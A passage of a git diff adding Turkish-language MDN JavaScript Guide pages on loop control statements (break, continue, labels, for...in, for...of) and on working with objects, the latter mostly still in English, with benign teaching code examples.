çıkılır.</p> + +<h3 id="Örnek_2"><strong>Örnek 2</strong></h3> + +<p>Sonsuz döngülerden uzak durulmalıdır. Döngü içerisindeki koşulun, eninde sonunda false değerini alacağı emin olunmalıdır; aksi taktirde, döngü sonsuza dek çalışır. Aşağıdaki <code>while</code> döngüsündeki ifade sonsuza dek çalışır, çünkü koşul asla false değerini alamaz:</p> + +<pre class="brush: js notranslate">while (true) { + console.log("Merhaba dünya"); +}</pre> + +<h2 id="Etiketlenmiş_ifadeler"><code>Etiketlenmiş ifadeler</code></h2> + +<p>Bir {{jsxref("statements/label","etiketlenmiş ifadede")}} , bir anahtar kelime ve bu kelimeye bağlı çalıştırılacak bir ifade bulunur.Anahtar kelime kullanılarak, program içerisindeki herhangi bir yerde, anahtar kelime ile ilişkili ifade çalıştırılabilir. Örneğin, bir döngü, anahtar kelime ile etiketlenerek, uygulama içerisindeki herhangi bir yerden çalıştırılabilir.</p> + +<p>Etiketlenmiş bir ifade aşağıdaki şekildedir:</p> + +<pre class="syntaxbox notranslate">etiket : + çalıştırılacak_ifade +</pre> + +<p>Etiket adı, herhangi bir değişken adının aldığı şekilde değerler alabilir. Etiket ile tanımlanan <code>çalıştırılacak_ifade </code>içerisinde herhangi bir komut yer alabilir.</p> + +<h3 id="Örnek_3"><strong>Örnek</strong></h3> + +<p>Bu örnekte, <code>döngüyüİşaretle</code> etiketi <code>while</code> döngüsünü tanımlar.</p> + +<pre class="brush: js notranslate"><code>döngüyüİşaretle</code>: +while (işaret == true) { + merhabaDünya(); +}</pre> + +<h2 id="break_ifadesi"><code>break</code> ifadesi</h2> + +<p>{{jsxref("statements/break","break")}} ifadesi kullanılarak bir döngüden, switch ifadesinden veya herhangi bir etiketlenmiş ifadeden çıkılabilir.</p> + +<ul> + <li>Etiket olmayan bir blokta break ifadesini kullandığınızda, <code>break</code>'i çevreleyen en içteki <code>while</code>, <code>do-while</code>, <code>for</code>, veya <code>switch</code> ifadesinden çıkılır ve koddaki sonraki komutların çalıştırılmasına devam edilir.</li> + <li>Etiket olan bir blokta <code>break</code> ifadesini kullanıldığında, etiketlenmiş olan ifadeden çıkılır.</li> +</ul> + +<p><code>break</code> ifadesinin söz dizimi aşağıdaki gibidir:</p> + +<pre class="syntaxbox notranslate">break [<em>etiket</em>]; +</pre> + +<p>Bu söz diziminin ilk ifadesi (<code>break</code>) ile, break'i çevreleyen en içteki döngü veya <code>switch</code>'ten çıkılır; ikinci ifade (<code>[<em>etiket</em>]</code>) ile belirlenen etiketten çıkılması sağlanır.</p> + +<h3 id="Örnek_1_3"><strong>Örnek 1</strong></h3> + +<p>Aşağıdaki örnekte, <code>değer</code>'e eşit olan dizi elemanı bulununcaya dek dizi içerisindeki elemanlar bir döngüde gezilir.</p> + +<pre class="brush: js notranslate">for (var i = 0; i < a.length; i++) { + if (a[i] == <code>değer</code>) { + break; + } +}</pre> + +<h3 id="Örnek_2_Bir_etiketten_çıkma"><strong>Örnek 2: </strong>Bir etiketten çıkma</h3> + +<pre class="brush: js notranslate">var x = 0; +var z = 0; + +döngüdenÇıkmaEtiketi: while (true) { + console.log("Dıştaki döngüler: " + x); + x += 1; + z = 1; + while (true) { + console.log("İçteki döngüler: " + z); + z += 1; + if (z === 10 && x === 10) { + break döngüdenÇıkmaEtiketi; + } else if (z === 10) { + break; + } + } +} +</pre> + +<h2 id="continue_ifadesi"><code>continue</code> ifadesi</h2> + +<p>{{jsxref("statements/continue","continue")}} ifadesi; <code>while</code>, <code>do-while</code>, <code>for</code>, veya etiketlenmiş ifadelere tekrar girilmesini sağlar.</p> + +<ul> + <li><code>continue</code> ifadesini herhangi bir etiket belirtmeden tek başına kullanırsanız, kendisini çevreleyen döngü bloğundaki sonraki ifadelerin çalıştırılmasını sonlandırır, ve sonraki iterasyon ile birlikte döngünün çalışmasına devam edilir. <code>continue, break </code>ifadesinin tam tersine döngüyü tamamen sonlandırmaz. Örneğin <code>while</code> döngüsünde, koşul kontrolüne geri döner. <code>for</code> döngüsünde ise <code>arttırım-ifadesi</code>'ne döner.</li> + <li><code>continue</code> ifadesi bir etiket ile kullanılırken, etiket ile tanımlı olan döngünün devam etmesini sağlar.</li> +</ul> + +<p><code>continue</code> ifadesinin söz dizimi aşağıdaki gibidir:</p> + +<pre class="syntaxbox notranslate">continue [<em>etiket</em>]; +</pre> + +<h3 id="Örnek_1_4"><strong>Örnek 1</strong></h3> + +<p>Aşağıdaki örnekte yer alan <code>while</code> döngüsündeki <code>continue</code> ifadesi, <code>i</code>'nin değeri yalnızca 3 olduğunda çalıştırılmaktadır. Böylece <code>n</code>, sırasıyla şu değerleri alır: 1, 3, 7, 12.</p> + +<pre class="brush: js notranslate">var i = 0; +var n = 0; +while (i < 5) { + i++; + if (i == 3) { + continue; + } + n += i; +} +</pre> + +<h3 id="Örnek_2_2"><strong>Örnek 2</strong></h3> + +<p>Aşağıdaki örnekte bulunan <code>kontrolivej</code> etiketinde yer alan ifadede, <code>kontrolj</code> etiketli diğer bir ifade yer almaktadır. Eğer <code>continue</code> ifadesi ile karşılaşılırsa, uygulama <code>kontrolj</code>'nin o anki döngüsünü sonlandırır ve sonraki iterasyona geçer. Her <code>continue</code> ifadesi ile karşılaşıldığında, <code>kontrolj</code> döngüsü <code>false</code> değerini döndürene dek devam eder. <code>false</code> döndürdüğünde, döngüden çıkılır ve döngüden sonra gelen <code>kontrolivej</code> ifadesinin kalan kısmı tamamlanır. <code>kontrolivej</code> döngüsüne tekrar girilir. <code>i</code> değişkeni 4'ten büyük oluncaya dek <code>kontrolivej</code> etiketinin çalıştırılmasına devam ettirilir.</p> + +<p>Eğer <code>continue</code> ifadesi, <code>kontrolj</code> etiketi yerine <code>kontrolivej</code> etiketini içerseydi, program <code>kontrolivej</code> ifadesinin altındaki while döngüsünden devam edecekti.</p> + +<pre class="brush: js notranslate"><code>kontrolivej</code>: + while (i < 4) { + console.log(i); + i += 1; + <code>kontrolj</code>: + while (j > 4) { + console.log(j); + j -= 1; + if ((j % 2) == 0) { + continue <code>kontrolj</code>; + } + console.log(j + " tek sayıdır."); + } + console.log("i = " + i); + console.log("j = " + j); + }</pre> + +<h2 id="for...in_ifadesi"><code>for...in</code> ifadesi</h2> + +<p>{{jsxref("statements/for...in","for...in")}} döngüsü, bir nesnenin sayılabilir (<code>enumerable</code>) özelliklerinin üzerinde dolaşılmasını sağlar. Her bir özellik için JavaScript, belirlenen ifadeleri çalıştırır. Bir <code>for...in</code> döngüsü aşağıdaki şekilde oluşturulur:</p> + +<pre class="syntaxbox notranslate">for (değişken in nesne) { + çalıştırılacak_ifadeler +} +</pre> + +<h3 id="Örnek_4"><strong>Örnek</strong></h3> + +<p>Aşağıdaki fonksiyon, bir nesne ve nesnenin adını parametre olarak alır. Sonrasında nesnenin tüm özellikleri üzerinde gezer ve nesnede bulunan özelliklerin adını ve değerini listeleyen bir string döndürür. </p> + +<pre class="brush: js notranslate">function özellikleriListeOlarakVer(nesne, nesnenin_adi) { + var sonuç = ""; + for (var i in nesne) { + sonuç += nesnenin_adi + "." + i + " = " + nesne[i] + "<br>"; + } + sonuç += "<hr>"; + return sonuç; +} +</pre> + +<p><code>marka</code> <font face="Consolas, Liberation Mono, Courier, monospace">ve</font> <code>model</code> özelliklerini içeren bir <code>araba</code> nesnesi için <code>sonuç</code>, aşağıdaki şekilde olacaktır:</p> + +<pre class="brush: js notranslate">araba.marka = Tesla +araba.model = Model S +</pre> + +<h3 id="Dizilerde_kullanımı"><strong>Dizilerde kullanımı</strong></h3> + +<p>{{jsxref("Array")}} elemanlarında dolaşmak için <strong>for...in </strong>kullanımı çok cazip gözükse de for...in ifadesi, sayısal indekslere ek olarak kullanıcı tanımlı özelliklerin de isimlerini döndürür. Bu yüzden dizi üzerinde gezmek için, sayısal indeksler ile birlikte kullanılan geleneksel {{jsxref("statements/for","for")}} döngüsü daha elverişlidir. Çünkü örneğin bir Array nesnesinine özel bir değişken veya fonksiyon eklerseniz, for...in ifadesi dizi elemanlarının yanısıra eklediğiniz kullanıcı tanımlı özellikleri de getirir</p> + +<h2 id="for...of_ifadesi"><code>for...of</code> ifadesi</h2> + +<p>{{jsxref("statements/for...of","for...of")}} ifadesi bir döngü oluşturur ve <a href="/tr/docs/Web/JavaScript/Guide/iterable">gezilebilir (iterable) nesneler</a> ({{jsxref("Array")}}, {{jsxref("Map")}}, {{jsxref("Set")}}, {{jsxref("functions/arguments","arguments")}} nesnesi vb.) üzerinde gezer.</p> + +<pre class="syntaxbox notranslate">for (değişken of nesne) { + çalıştırılacak_ifadeler<em> +</em>}</pre> + +<p>Aşağıdaki örnekte, <code>for...of</code> döngüsü ve {{jsxref("statements/for...in","for...in")}} döngüsü arasındaki fark gösterilmektedir. <code>for...in</code> döngüsü nesne değişkenlerinin isimleri üzerinde gezerken, <code>for...of</code> döngüsü ise değişkenlerin değerleri üzerinde gezer:</p> + +<pre class="brush:js notranslate">let dizi = [3, 5, 7]; +dizi.selam = "merhaba"; + +for (let i in dizi) { + console.log(i); // Çıktısı: "0", "1", "2", "selam" + console.log(typeof i); //string tipi +} + +for (let i of dizi) { + console.log(i); // Çıktısı: 3, 5, 7 + console.log(typeof i); //degiskenin sahip old. tip +} +</pre> + +<p>{{PreviousNext("Web/JavaScript/Guide/Ifadeler", "Web/JavaScript/Guide/Functions")}}</p> diff --git a/files/tr/web/javascript/guide/nesneler_ile_çalışmak/index.html b/files/tr/web/javascript/guide/nesneler_ile_çalışmak/index.html new file mode 100644 index 0000000000..0782b4db6c --- /dev/null +++ b/files/tr/web/javascript/guide/nesneler_ile_çalışmak/index.html @@ -0,0 +1,504 @@ +--- +title: Nesnelerle çalışmak +slug: Web/JavaScript/Guide/Nesneler_ile_çalışmak +translation_of: Web/JavaScript/Guide/Working_with_Objects +--- +<div>{{jsSidebar("JavaScript Rehberi")}} {{PreviousNext("Web/JavaScript/Guide/Keyed_collections", "Web/JavaScript/Guide/Details_of_the_Object_Model")}}</div> + +<p class="summary">JavaScript basit bir nesne tabanlı paradigmada tasarlanmıştır. Bir nesne bir özellikler koleksiyonudur ve bir özellik bir ad (veya anahtar) ile bir değer arasındaki ilişkidir. Bir özelliğin değeri bir fonksiyon olabilir, bu durumda özellik bir metod olarak bilinir. Tarayıcıda önceden tanımlanmış olan nesnelere ek olarak, kendi nesnelerinizi de tanımlayabilirsiniz. Bu bölümde, nesnelerin, özelliklerin, fonksiyonların ve metodların nasıl kullanıldığı ve kendi nesnelerinizin nasıl oluşturulacağı açıklanmaktadır.</p> + +<h2 id="Nesnelere_genel_bakış">Nesnelere genel bakış</h2> + +<p>JavaScript'teki nesneler, diğer birçok programlama dilinde olduğu gibi, gerçek hayattaki nesnelerle karşılaştırılabilir. JavaScript'teki nesneler kavramı gerçek hayattaki somut nesnelerle anlaşılabilir.</p> + +<p>JavaScript'te bir nesne, özellikleri ve tipiyle bağımsız bir varlıktır. Örneğin bir fincanla karşılaştırın. Bir fincan, özellikleri olan bir nesnedir. Bir fincan bir renge, bir tasarıma, ağırlığa, yapıldığı bir malzemeye vs. sahiptir. Aynı şekilde, JavaScript nesnelerinin de özelliklerini tanımlayan özellikleri olabilir.</p> + +<h2 id="Nesneler_ve_özellikleri">Nesneler ve özellikleri</h2> + +<p>A JavaScript object has properties associated with it. A property of an object can be explained as a variable that is attached to the object. Object properties are basically the same as ordinary JavaScript variables, except for the attachment to objects. The properties of an object define the characteristics of the object. You access the properties of an object with a simple dot-notation:</p> + +<pre class="brush: js">objectName.propertyName +</pre> + +<p>Like all JavaScript variables, both the object name (which could be a normal variable) and property name are case sensitive. You can define a property by assigning it a value. For example, let's create an object named <code>myCar</code> and give it properties named <code>make</code>, <code>model</code>, and <code>year</code> as follows:</p> + +<pre class="brush: js">var myCar = new Object(); +myCar.make = 'Ford'; +myCar.model = 'Mustang'; +myCar.year = 1969; +</pre> + +<p>Unassigned properties of an object are {{jsxref("undefined")}} (and not {{jsxref("null")}}).</p> + +<pre class="brush: js">myCar.color; // undefined</pre> + +<p>Properties of JavaScript objects can also be accessed or set using a bracket notation (for more details see <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Property_Accessors">property accessors</a>). Objects are sometimes called <em>associative arrays</em>, since each property is associated with a string value that can be used to access it. So, for example, you could access the properties of the <code>myCar</code> object as follows:</p> + +<pre class="brush: js">myCar['make'] = 'Ford'; +myCar['model'] = 'Mustang'; +myCar['year'] = 1969; +</pre> + +<p>An object property name can be any valid JavaScript string, or anything that can be converted to a string, including the empty string. However, any property name that is not a valid JavaScript identifier (for example, a property name that has a space or a hyphen, or that starts with a number) can only be accessed using the square bracket notation. This notation is also very useful when property names are to be dynamically determined (when the property name is not determined until runtime). Examples are as follows:</p> + +<pre class="brush: js">// four variables are created and assigned in a single go, +// separated by commas +var myObj = new Object(), + str = 'myString', + rand = Math.random(), + obj = new Object(); + +myObj.type = 'Dot syntax'; +myObj['date created'] = 'String with space'; +myObj[str] = 'String value'; +myObj[rand] = 'Random Number'; +myObj[obj] = 'Object'; +myObj[''] = 'Even an empty string'; + +console.log(myObj); +</pre> + +<p>Please note that all keys in the square bracket notation are converted to string unless they're Symbols, since JavaScript object property names (keys) can only be strings or Symbols (at some point, private names will also be added as the <a href="https://github.com/tc39/proposal-class-fields">class fields proposal</a> progresses, but you won't use them with <code>[]</code> form). For example, in the above code, when the key <code>obj</code> is added to the <code>myObj</code>, JavaScript will call the {{jsxref("Object.toString", "obj.toString()")}} method, and use this result string as the new key.</p> + +<p>You can also access properties by using a string value that is stored in a variable:</p> + +<pre class="brush: js">var propertyName = 'make'; +myCar[propertyName] = 'Ford'; + +propertyName = 'model'; +myCar[propertyName] = 'Mustang'; +</pre> + +<p>You can use the bracket notation with <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a></code> to iterate over all the enumerable properties of an object. To illustrate how this works, the following function displays the properties of the object when you pass the object and the object's name as arguments to the function:</p> + +<pre class="brush: js">function showProps(obj, objName) { + var result = ``; + for (var i in obj) { + // obj.hasOwnProperty() is used to filter out properties from the object's prototype chain + if (obj.hasOwnProperty(i)) { + result += `${objName}.${i} = ${obj[i]}\n`; + } + } + return result; +} +</pre> + +<p>So, the function call <code>showProps(myCar, "myCar")</code> would return the following:</p> + +<pre class="brush: js">myCar.make = Ford +myCar.model = Mustang +myCar.year = 1969</pre> + +<h2 id="Enumerate_the_properties_of_an_object">Enumerate the properties of an object</h2> + +<p>Starting with <a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_5_support_in_Mozilla" title="en-US/docs/JavaScript/ECMAScript 5 support in Mozilla">ECMAScript 5</a>, there are three native ways to list/traverse object properties:</p> + +<ul> + <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in" title="en-US/docs/JavaScript/Reference/Statements/for...in">for...in</a></code> loops<br> + This method traverses all enumerable properties of an object and its prototype chain</li> + <li>{{jsxref("Object.keys", "Object.keys(o)")}}<br> + This method returns an array with all the own (not in the prototype chain) enumerable properties' names ("keys") of an object <code>o</code>.</li> + <li>{{jsxref("Object.getOwnPropertyNames", "Object.getOwnPropertyNames(o)")}}<br> + This method returns an array containing all own properties' names (enumerable or not) of an object <code>o</code>.</li> +</ul> + +<p>Before ECMAScript 5, there was no native way to list all properties of an object. However, this can be achieved with the following function:</p> + +<pre class="brush: js">function listAllProperties(o) { + var objectToInspect; + var result = []; + + for(objectToInspect = o; objectToInspect !== null; + objectToInspect = Object.getPrototypeOf(objectToInspect)) { + result = result.concat( + Object.getOwnPropertyNames(objectToInspect) + ); + } + + return result; +} +</pre> + +<p>This can be useful to reveal "hidden" properties (properties in the prototype chain which are not accessible through the object, because another property has the same name earlier in the prototype chain). Listing accessible properties only can easily be done by removing duplicates in the array.</p> + +<h2 id="Creating_new_objects">Creating new objects</h2> + +<p>JavaScript has a number of predefined objects. In addition, you can create your own objects. You can create an object using an <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer">object initializer</a>. Alternatively, you can first create a constructor function and then instantiate an object invoking that function in conjunction with the <code>new</code> operator.</p> + +<h3 id="Using_object_initializers"><span id="Object_initializers">Using object initializers</span></h3> + +<p>In addition to creating objects using a constructor function, you can create objects using an <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer">object initializer</a>. Using object initializers is sometimes referred to as creating objects with literal notation. "Object initializer" is consistent with the terminology used by C++.</p> + +<p>The syntax for an object using an object initializer is:</p> + +<pre class="brush: js">var obj = { property_1: value_1, // property_# may be an identifier... + 2: value_2, // or a number... + // ..., + 'property n': value_n }; // or a string +</pre> + +<p>where <code>obj</code> is the name of the new object, each <code>property_<var>i</var></code> is an identifier (either a name, a number, or a string literal), and each <code>value_<var>i</var></code> is an expression whose value is assigned to the <code>property_<var>i</var></code>. The <code>obj</code> and assignment is optional; if you do not need to refer to this object elsewhere, you do not need to assign it to a variable. (Note that you may need to wrap the object literal in parentheses if the object appears where a statement is expected, so as not to have the literal be confused with a block statement.)</p> + +<p>Object initializers are expressions, and each object initializer results in a new object being created whenever the statement in which it appears is executed. Identical object initializers create distinct objects that will not compare to each other as equal. Objects are created as if a call to <code>new Object()</code> were made; that is, objects made from object literal expressions are instances of <code>Object</code>.</p> + +<p>The following statement creates an object and assigns it to the variable <code>x</code> if and only if the expression <code>cond</code> is true:</p> + +<pre class="brush: js">if (cond) var x = {greeting: 'hi there'}; +</pre> + +<p>The following example creates <code>myHonda</code> with three properties. Note that the <code>engine</code> property is also an object with its own properties.</p> + +<pre class="brush: js">var myHonda = {color: 'red', wheels: 4, engine: {cylinders: 4, size: 2.2}}; +</pre> + +<p>You can also use object initializers to create arrays. See <a href="/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#Array_literals">array literals</a>.</p> + +<h3 id="Using_a_constructor_function">Using a constructor function</h3> + +<p>Alternatively, you can create an object with these two steps:</p> + +<ol> + <li>Define the object type by writing a constructor function. There is a strong convention, with good reason, to use a capital initial letter.</li> + <li>Create an instance of the object with <code>new</code>.</li> +</ol> + +<p>To define an object type, create a function for the object type that specifies its name, properties, and methods. For example, suppose you want to create an object type for cars. You want this type of object to be called <code>Car</code>, and you want it to have properties for make, model, and year. To do this, you would write the following function:</p> + +<pre class="brush: js">function Car(make, model, year) { + this.make = make; + this.model = model; + this.year = year; +} +</pre> + +<p>Notice the use of <code>this</code> to assign values to the object's properties based on the values passed to the function.</p> + +<p>Now you can create an object called <code>mycar</code> as follows:</p> + +<pre class="brush: js">var mycar = new Car('Eagle', 'Talon TSi', 1993); +</pre> + +<p>This statement creates <code>mycar</code> and assigns it the specified values for its properties. Then the value of <code>mycar.make</code> is the string "Eagle", <code>mycar.year</code> is the integer 1993, and so on.</p> + +<p>You can create any number of <code>Car</code> objects by calls to <code>new</code>. For example,</p> + +<pre class="brush: js">var kenscar = new Car('Nissan', '300ZX', 1992); +var vpgscar = new Car('Mazda', 'Miata', 1990); +</pre> + +<p>An object can have a property that is itself another object. For example, suppose you define an object called <code>person</code> as follows:</p> + +<pre class="brush: js">function Person(name, age, sex) { + this.name = name; + this.age = age; + this.sex = sex; +} +</pre> + +<p>and then instantiate two new <code>person</code> objects as follows:</p> + +<pre class="brush: js">var rand = new Person('Rand McKinnon', 33, 'M'); +var ken = new Person('Ken Jones', 39, 'M'); +</pre> + +<p>Then, you can rewrite the definition of <code>Car</code> to include an <code>owner</code> property that takes a <code>person</code> object, as follows:</p> + +<pre class="brush: js">function Car(make, model, year, owner) { + this.make = make; + this.model = model; + this.year = year; + this.owner = owner; +} +</pre> + +<p>To instantiate the new objects, you then use the following:</p> + +<pre class="brush: js">var car1 = new Car('Eagle', 'Talon TSi', 1993, rand); +var car2 = new Car('Nissan', '300ZX', 1992, ken); +</pre> + +<p>Notice that instead of passing a literal string or integer value when creating the new objects, the above statements pass the objects <code>rand</code> and <code>ken</code> as the arguments for the owners. Then if you want to find out the name of the owner of car2, you can access the following property:</p> + +<pre class="brush: js">car2.owner.name +</pre> + +<p>Note that you can always add a property to a previously defined object. For example, the statement</p> + +<pre class="brush: js">car1.color = 'black'; +</pre> + +<p>adds a property <code>color</code> to car1, and assigns it a value of "black." However, this does not affect any other objects. To add the new property to all objects of the same type, you have to add the property to the definition of the <code>Car</code> object type.</p> + +<h3 id="Using_the_Object.create_method">Using the <code>Object.create</code> method</h3> + +<p>Objects can also be created using the {{jsxref("Object.create()")}} method. This method can be very useful, because it allows you to choose the prototype object for the object you want to create, without having to define a constructor function.</p> + +<pre class="brush: js">// Animal properties and method encapsulation +var Animal = { + type: 'Invertebrates', // Default value of properties + displayType: function() { // Method which will display type of Animal + console.log(this.type); + } +}; + +// Create new animal type called animal1 +var animal1 = Object.create(Animal); +animal1.displayType(); // Output:Invertebrates + +// Create new animal type called Fishes +var fish = Object.create(Animal); +fish.type = 'Fishes'; +fish.displayType(); // Output:Fishes</pre> + +<h2 id="Inheritance">Inheritance</h2> + +<p>All objects in JavaScript inherit from at least one other object. The object being inherited from is known as the prototype, and the inherited properties can be found in the <code>prototype</code> object of the constructor. See <a href="/en-US/docs/Web/JavaScript/Guide/Inheritance_and_the_prototype_chain">Inheritance and the prototype chain</a> for more information.</p> + +<h2 id="Indexing_object_properties">Indexing object properties</h2> + +<p>You can refer to a property of an object either by its property name or by its ordinal index. If you initially define a property by its name, you must always refer to it by its name, and if you initially define a property by an index, you must always refer to it by its index.</p> + +<p>This restriction applies when you create an object and its properties with a constructor function (as we did previously with the <code>Car</code> object type) and when you define individual properties explicitly (for example, <code>myCar.color = "red"</code>). If you initially define an object property with an index, such as <code>myCar[5] = "25 mpg"</code>, you subsequently refer to the property only as <code>myCar[5]</code>.</p> + +<p>The exception to this rule is array-like object reflected from HTML, such as the <code>forms</code> array-like object. You can always refer to objects in these array-like objects by either their ordinal number (based on where they appear in the document) or their name (if defined). For example, if the second <code><FORM></code> tag in a document has a <code>NAME</code> attribute of "myForm", you can refer to the form as <code>document.forms[1]</code> or <code>document.forms["myForm"]</code> or <code>document.forms.myForm</code>.</p> + +<h2 id="Defining_properties_for_an_object_type">Defining properties for an object type</h2> + +<p>You can add a property to a previously defined object type by using the <code>prototype</code> property. This defines a property that is shared by all objects of the specified type, rather than by just one instance of the object. The following code adds a <code>color</code> property to all objects of type <code>Car</code>, and then assigns a value to the <code>color</code> property of the object <code>car1</code>.</p> + +<pre class="brush: js">Car.prototype.color = null; +car1.color = 'black'; +</pre> + +<p>See the <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/prototype" title="en-US/docs/JavaScript/Reference/Global Objects/Function/prototype"><code>prototype</code> property</a> of the <code>Function</code> object in the <a href="/en-US/docs/Web/JavaScript/Reference">JavaScript reference</a> for more information.</p> + +<h2 id="Defining_methods">Defining methods</h2> + +<p>A <em>method</em> is a function associated with an object, or, simply put, a method is a property of an object that is a function. Methods are defined the way normal functions are defined, except that they have to be assigned as the property of an object. See also <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Method_definitions">method definitions</a> for more details. An example is:</p> + +<pre class="brush: js">objectName.methodname = functionName; + +var myObj = { + myMethod: function(params) { + // ...do something + } + + // OR THIS WORKS TOO + + myOtherMethod(params) { + // ...do something else + } +}; +</pre> + +<p>where <code>objectName</code> is an existing object, <code>methodname</code> is the name you are assigning to the method, and <code>functionName</code> is the name of the function.</p> + +<p>You can then call the method in the context of the object as follows:</p> + +<pre class="brush: js">object.methodname(params); +</pre> + +<p>You can define methods for an object type by including a method definition in the object constructor function. You could define a function that would format and display the properties of the previously-defined <code>Car</code> objects; for example,</p> + +<pre class="brush: js">function displayCar() { + var result = `A Beautiful ${this.year} ${this.make} ${this.model}`; + pretty_print(result); +} +</pre> + +<p>where <code>pretty_print</code> is a function to display a horizontal rule and a string. Notice the use of <code>this</code> to refer to the object to which the method belongs.</p> + +<p>You can make this function a method of <code>Car</code> by adding the statement</p> + +<pre class="brush: js">this.displayCar = displayCar; +</pre> + +<p>to the object definition. So, the full definition of <code>Car</code> would now look like</p> + +<pre class="brush: js">function Car(make, model, year, owner) { + this.make = make; + this.model = model; + this.year = year; + this.owner = owner; + this.displayCar = displayCar; +} +</pre> + +<p>Then you can call the <code>displayCar</code> method for each of the objects as follows:</p> + +<pre class="brush: js">car1.displayCar(); +car2.displayCar(); +</pre> + +<h2 id="Using_this_for_object_references">Using <code>this</code> for object references</h2> + +<p>JavaScript has a special keyword, <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">this</a></code>, that you can use within a method to refer to the current object. For example, suppose you have 2 objects, <code>Manager</code>and <code>Intern</code>. Each object have their own <code>name</code>, <code>age</code> and <code>job</code>. In the function <code>sayHi()</code>, notice there is <code>this.name</code>. When added to the 2 objects they can be called and returns the <code>'Hello, My name is'</code> then adds the <code>name</code> value from that specific object. As shown below. </p> + +<pre class="brush: js">const Manager = { + name: "John", + age: 27, + job: "Software Engineer" +} +const Intern= { + name: "Ben", + age: 21, + job: "Software Engineer Intern" +} + +function sayHi() { + console.log('Hello, my name is', this.name) +} + +// add sayHi function to both objects +Manager.sayHi = sayHi; +Intern.sayHi = sayHi; + +Manager.sayHi() // Hello, my name is John' +Intern.sayHi() // Hello, my name is Ben' +</pre> + +<p>The <code>this</code> refers to the object that it is in. You can create a new function called <code>howOldAmI()</code>which logs a sentence saying how old the person is. </p> + +<pre class="brush: js">function howOldAmI (){ + console.log('I am ' + this.age + ' years old.') +} +Manager.howOldAmI = howOldAmI; +Manager.howOldAmI() // I am 27 years old. +</pre> + +<h2 id="Defining_getters_and_setters">Defining getters and setters</h2> + +<p>A <a href="/en-US/docs/Web/JavaScript/Reference/Functions/get">getter</a> is a method that gets the value of a specific property. A <a href="/en-US/docs/Web/JavaScript/Reference/Functions/set">setter</a> is a method that sets the value of a specific property. You can define getters and setters on any predefined core object or user-defined object that supports the addition of new properties. The syntax for defining getters and setters uses the object literal syntax.</p> + +<p>The following illustrates how getters and setters could work for a user-defined object <code>o</code>.</p> + +<pre class="brush: js">var o = { + a: 7, + get b() { + return this.a + 1; + }, + set c(x) { + this.a = x / 2; + } +}; + +console.log(o.a); // 7 +console.log(o.b); // 8 +o.c = 50; +console.log(o.a); // 25 +</pre> + +<p>The <code>o</code> object's properties are:</p> + +<ul> + <li><code>o.a</code> — a number</li> + <li><code>o.b</code> — a getter that returns <code>o.a</code> plus 1</li> + <li><code>o.c</code> — a setter that sets the value of <code>o.a</code> to half of the value <code>o.c</code> is being set to</li> +</ul> + +<p>Please note that function names of getters and setters defined in an object literal using "[gs]et <em>property</em>()" (as opposed to <code>__define[GS]etter__</code> ) are not the names of the getters themselves, even though the <code>[gs]et <em>propertyName</em>(){ }</code> syntax may mislead you to think otherwise. To name a function in a getter or setter using the "[gs]et <em>property</em>()" syntax, define an explicitly named function programmatically using {{jsxref("Object.defineProperty")}} (or the {{jsxref("Object.defineGetter", "Object.prototype.__defineGetter__")}} legacy fallback).</p> + +<p>The following code illustrates how getters and setters can extend the {{jsxref("Date")}} prototype to add a <code>year</code> property to all instances of the predefined <code>Date</code> class. It uses the <code>Date</code> class's existing <code>getFullYear</code> and <code>setFullYear</code> methods to support the <code>year</code> property's getter and setter.</p> + +<p>These statements define a getter and setter for the year property:</p> + +<pre class="brush: js">var d = Date.prototype; +Object.defineProperty(d, 'year', { + get: function() { return this.getFullYear(); }, + set: function(y) { this.setFullYear(y); } +}); +</pre> + +<p>These statements use the getter and setter in a <code>Date</code> object:</p> + +<pre class="brush: js">var now = new Date(); +console.log(now.year); // 2000 +now.year = 2001; // 987617605170 +console.log(now); +// Wed Apr 18 11:13:25 GMT-0700 (Pacific Daylight Time) 2001 +</pre> + +<p>In principle, getters and setters can be either</p> + +<ul> + <li>defined using <a href="#Object_initializers">object initializers</a>, or</li> + <li>added later to any object at any time using a getter or setter adding method.</li> +</ul> + +<p>When defining getters and setters using <a href="#Object_initializers">object initializers</a> all you need to do is to prefix a getter method with <code>get</code> and a setter method with <code>set</code>. Of course, the getter method must not expect a parameter, while the setter method expects exactly one parameter (the new value to set). For instance:</p> + +<pre class="brush: js">var o = { + a: 7, + get b() { return this.a + 1; }, + set c(x) { this.a = x / 2; } +}; +</pre> + +<p>Getters and setters can also be added to an object at any time after creation using the <code>Object.defineProperties</code> method. This method's first parameter is the object on which you want to define the getter or setter. The second parameter is an object whose property names are the getter or setter names, and whose property values are objects for defining the getter or setter functions. Here's an example that defines the same getter and setter used in the previous example:</p> + +<pre class="brush: js">var o = { a: 0 }; + +Object.defineProperties(o, { + 'b': { get: function() { return this.a + 1; } }, + 'c': { set: function(x) { this.a = x / 2; } } +}); + +o.c = 10; // Runs the setter, which assigns 10 / 2 (5) to the 'a' property +console.log(o.b); // Runs the getter, which yields a + 1 or 6 +</pre> + +<p>Which of the two forms to choose depends on your programming style and task at hand. If you already go for the object initializer when defining a prototype you will probably most of the time choose the first form. This form is more compact and natural. However, if you need to add getters and setters later — because you did not write the prototype or particular object — then the second form is the only possible form. The second form probably best represents the dynamic nature of JavaScript — but it can make the code hard to read and understand.</p> + +<h2 id="Deleting_properties">Deleting properties</h2> + +<p>You can remove a non-inherited property by using the <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete">delete</a></code> operator. The following code shows how to remove a property.</p> + +<pre class="brush: js">// Creates a new object, myobj, with two properties, a and b. +var myobj = new Object; +myobj.a = 5; +myobj.b = 12; + +// Removes the a property, leaving myobj with only the b property. +delete myobj.a; +console.log ('a' in myobj); // output: "false" +</pre> + +<p>You can also use <code>delete</code> to delete a global variable if the <code>var</code> keyword was not used to declare the variable:</p> + +<pre class="brush: js">g = 17; +delete g; +</pre> + +<h2 id="Comparing_objects">Comparing objects</h2> + +<p>In JavaScript, objects are a reference type. Two distinct objects are never equal, even if they have the same properties. 